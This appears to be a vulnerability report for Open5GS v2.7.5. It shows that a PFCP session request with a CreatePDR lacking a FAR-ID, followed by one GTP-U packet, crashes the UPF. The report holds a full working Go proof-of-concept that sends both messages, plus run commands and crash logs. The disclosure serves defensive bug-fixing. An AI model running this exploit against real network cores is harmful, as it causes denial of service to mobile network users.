| Gaskiya | ### Description
Open5GS v2.7.5 UPF crashes in _gtpv1_u_recv_cb() when a PFCP Session Establishment Request contains a CreatePDR without FAR-ID. The PFCP control path accepts the session, but once a matching GTP-U packet is received the data path dereferences pdr->far == NULL and aborts the process, leading to DoS.
### Steps to reproduce
1. Start a new go project inside a new folder: `go mod init poc`
2. Create a `main.go` and paste the code below:
```
package main
import (
"encoding/binary"
"encoding/hex"
"errors"
"flag"
"fmt"
"log"
"math/rand"
"net"
"os"
"strings"
"time"
"github.com/wmnsk/go-pfcp/ie"
"github.com/wmnsk/go-pfcp/message"
)
// This PoC installs a CreatePDR without FAR-ID, then injects a single GTP-U packet that
// matches the rule. When the packet reaches the user-plane fast path the UPF aborts in
// ogs_pfcp_up_handle_pdr() (lib/pfcp/handler.c:233) because pdr->far is NULL.
const (
defaultPFCPPort = 8805
defaultGTPPort = 2152
)
type pfcpClient struct {
nodeIP net.IP
seid uint64
seq uint32
}
func (c *pfcpClient) nextSeq() uint32 {
c.seq++
if c.seq == 0 || c.seq > 0x00ffffff {
c.seq = 1
}
return c.seq
}
func (c *pfcpClient) mandatoryIEs() []*ie.IE {
return []*ie.IE{
ie.NewNodeID(c.nodeIP.String(), "", ""),
ie.NewFSEID(c.seid, c.nodeIP, nil),
ie.NewPDNType(ie.PDNTypeIPv4),
}
}
func (c *pfcpClient) buildSession(ies ...*ie.IE) *message.SessionEstablishmentRequest {
payload := append([]*ie.IE{}, c.mandatoryIEs()...)
payload = append(payload, ies...)
return message.NewSessionEstablishmentRequest(0, 0, c.seid, c.nextSeq(), 0, payload...)
}
func (c *pfcpClient) sendAssociation(conn *net.UDPConn) error {
req := message.NewAssociationSetupRequest(
c.nextSeq(),
ie.NewNodeID(c.nodeIP.String(), "", ""),
ie.NewRecoveryTimeStamp(time.Now()),
ie.NewCPFunctionFeatures(0x3f),
)
return sendAndMaybeRead(conn, req)
}
type pfcpMarshaler interface {
Marshal() ([]byte, error)
}
func sendAndMaybeRead(conn *net.UDPConn, msg pfcpMarshaler) error {
payload, err := msg.Marshal()
if err != nil {
return fmt.Errorf("marshal PFCP message: %w", err)
}
if _, err := conn.Write(payload); err != nil {
return fmt.Errorf("send PFCP message: %w", err)
}
_ = conn.SetReadDeadline(time.Now().Add(2 * time.Second))
buf := make([]byte, 2048)
if _, err := conn.Read(buf); err != nil {
if ne, ok := err.(net.Error); ok && ne.Timeout() {
return nil
}
return fmt.Errorf("read PFCP response: %w", err)
}
return nil
}
func buildSessionWithoutFar(client *pfcpClient, accessIP net.IP, teid uint32) *message.SessionEstablishmentRequest {
// Install a PDR matching uplink traffic, but intentionally omit FAR-ID.
pdr := ie.NewCreatePDR(
ie.NewPDRID(7),
ie.NewPrecedence(200),
ie.NewPDI(
ie.NewSourceInterface(ie.SrcInterfaceAccess),
ie.NewFTEID(0x01, teid, accessIP, nil, 0),
),
)
return client.buildSession(pdr)
}
func resolvePFCP(target string) (string, error) {
if strings.Contains(target, ":") {
return target, nil
}
return fmt.Sprintf("%s:%d", target, defaultPFCPPort), nil
}
func resolveGTP(target string) (string, error) {
if strings.Contains(target, ":") {
return target, nil
}
return fmt.Sprintf("%s:%d", target, defaultGTPPort), nil
}
func sendGTPPacket(target string, teid uint32) error {
payload := []byte("ping")
packet := make([]byte, 8+len(payload))
packet[0] = 0x30 // version 1, PT=1, no extension / seq
packet[1] = 0xff // G-PDU
binary.BigEndian.PutUint16(packet[2:], uint16(len(payload)))
binary.BigEndian.PutUint32(packet[4:], teid)
copy(packet[8:], payload)
conn, err := net.Dial("udp", target)
if err != nil {
return fmt.Errorf("dial GTP-U target: %w", err)
}
defer conn.Close()
if _, err := conn.Write(packet); err != nil {
return fmt.Errorf("send GTP-U packet: %w", err)
}
return nil
}
func main() {
var (
pfcpTarget = flag.String("pfcp-target", "x.x.x.x:8805", "UPF PFCP endpoint (host[:port])")
gtpTarget = flag.String("gtp-target", "x.x.x.x:2152", "UPF GTP-U endpoint (host[:port])")
nodeIPStr = flag.String("node-ip", "x.x.x.x", "NodeID/IPv4 used in PFCP messages")
accessIP = flag.String("access-ip", "x.x.x.x", "IPv4 placed in the PDR's F-TEID")
teidFlag = flag.Uint("teid", 0xfaceb00c, "TEID programmed into the CreatePDR")
skipAssoc = flag.Bool("skip-assoc", false, "Skip the benign Association Setup")
dumpHex = flag.Bool("dump", false, "Dump crafted Session Establishment bytes")
)
flag.Parse()
nodeIP := net.ParseIP(*nodeIPStr)
if nodeIP == nil {
log.Fatalf("invalid node-ip: %s", *nodeIPStr)
}
accessTEIDIP := net.ParseIP(*accessIP)
if accessTEIDIP == nil {
log.Fatalf("invalid access-ip: %s", *accessIP)
}
resolvedPFCP, err := resolvePFCP(*pfcpTarget)
if err != nil {
log.Fatalf("resolve PFCP target: %v", err)
}
resolvedGTP, err := resolveGTP(*gtpTarget)
if err != nil {
log.Fatalf("resolve GTP target: %v", err)
}
pfcpAddr, err := net.ResolveUDPAddr("udp", resolvedPFCP)
if err != nil {
log.Fatalf("resolve PFCP UDP addr: %v", err)
}
conn, err := net.DialUDP("udp", nil, pfcpAddr)
if err != nil {
log.Fatalf("dial PFCP: %v", err)
}
defer conn.Close()
rand.Seed(time.Now().UnixNano())
client := &pfcpClient{
nodeIP: nodeIP,
seid: uint64(rand.Uint32())<<32 | uint64(rand.Uint32()),
seq: uint32(rand.Intn(0x00ffffff)),
}
if !*skipAssoc {
if err := client.sendAssociation(conn); err != nil {
log.Printf("association setup failed (continuing): %v", err)
} else {
log.Printf("association setup request sent to %s", resolvedPFCP)
}
}
req := buildSessionWithoutFar(client, accessTEIDIP, uint32(*teidFlag))
payload, err := req.Marshal()
if err != nil {
log.Fatalf("marshal session establishment: %v", err)
}
if *dumpHex {
fmt.Printf("Session Establishment (%d bytes):\n%s\n", len(payload), hex.Dump(payload))
}
if _, err := conn.Write(payload); err != nil {
log.Fatalf("send session establishment: %v", err)
}
log.Printf("Installed PDR without FAR-ID (TEID=0x%x). Waiting before sending GTP-U...", *teidFlag)
time.Sleep(500 * time.Millisecond)
log.Printf("Sending single GTP-U packet to %s", resolvedGTP)
if err := sendGTPPacket(resolvedGTP, uint32(*teidFlag)); err != nil {
if !errors.Is(err, os.ErrDeadlineExceeded) {
log.Fatalf("send gtp packet: %v", err)
}
}
log.Printf("Expected crash: ogs_pfcp_up_handle_pdr() asserts because pdr->far == NULL")
}
```
3. Download required libraries: go mod tidy
4. Run the program with the upf pfcp server address:
```
go run main.go \
-pfcp-target x.x.x.x:8805 \
-gtp-target x.x.x.x:2152 \
-node-ip x.x.x.x \
-access-ip x.x.x.x \
-teid 0xfaceb00c
```
### Logs
```shell
11/26 08:08:46.517: [pfcp] DEBUG: [4008538] REMOTE Create peer [x.x.x.x]:8805 [x.x.x.x]:53714 (../lib/pfcp/xact.c:156)
11/26 08:08:46.517: [pfcp] DEBUG: [4008538] REMOTE Receive peer [x.x.x.x]:8805 [x.x.x.x]:53714 (../lib/pfcp/xact.c:733)
11/26 08:08:46.517: [pfcp] DEBUG: [4008538] REMOTE UPD RX-50 peer [x.x.x.x]:8805 [x.x.x.x]:53714 (../lib/pfcp/xact.c:289)
11/26 08:08:46.517: [upf] DEBUG: upf_pfcp_state_associated(): UPF_EVT_N4_MESSAGE (../src/upf/pfcp-sm.c:161)
11/26 08:08:46.517: [upf] INFO: [Added] Number of UPF-Sessions is now 2 (../src/upf/context.c:209)
11/26 08:08:46.517: [upf] DEBUG: Session Establishment Request (../src/upf/n4-handler.c:66)
11/26 08:08:46.517: [upf] DEBUG: Session Establishment Response (../src/upf/n4-build.c:36)
11/26 08:08:46.517: [pfcp] DEBUG: [4008538] REMOTE UPD TX-51 peer [x.x.x.x]:8805 [x.x.x.x]:53714 (../lib/pfcp/xact.c:191)
11/26 08:08:46.517: [pfcp] DEBUG: [4008538] REMOTE Commit peer [x.x.x.x]:8805 [x.x.x.x]:53714 (../lib/pfcp/xact.c:460)
11/26 08:08:47.018: [upf] FATAL: _gtpv1_u_recv_cb: Assertion `far' failed. (../src/upf/gtp-path.c:504)
11/26 08:08:47.022: [core] FATAL: backtrace() returned 7 addresses (../lib/core/ogs-abort.c:37)
open5gs-upfd(+0x12e99) [0x556fe8c2fe99]
/usr/local/lib/libogscore.so.2(+0x2603f) [0x7f0b5a02603f]
open5gs-upfd(+0x77cb) [0x556fe8c247cb]
/usr/local/lib/libogscore.so.2(+0x119a3) [0x7f0b5a0119a3]
/lib/x86_64-linux-gnu/libc.so.6(+0x94ac3) [0x7f0b59a13ac3]
/lib/x86_64-linux-gnu/libc.so.6(+0x1268c0) [0x7f0b59aa58c0]
/usr/local/bin/entrypoint.sh: line 14: 23 Aborted (core dumped) open5gs-upfd "${@}"
```
### Expected behaviour
UPF should reject Session Establishment that lacks FAR-ID (mandatory IE per TS 29.244), or fail gracefully before any GTP-U packet is processed.
### Observed Behaviour
UPF accepts the session but crashes on the first matching GTP-U packet because pdr->far is NULL.
### eNodeB/gNodeB
No
### UE Models and versions
No |
|---|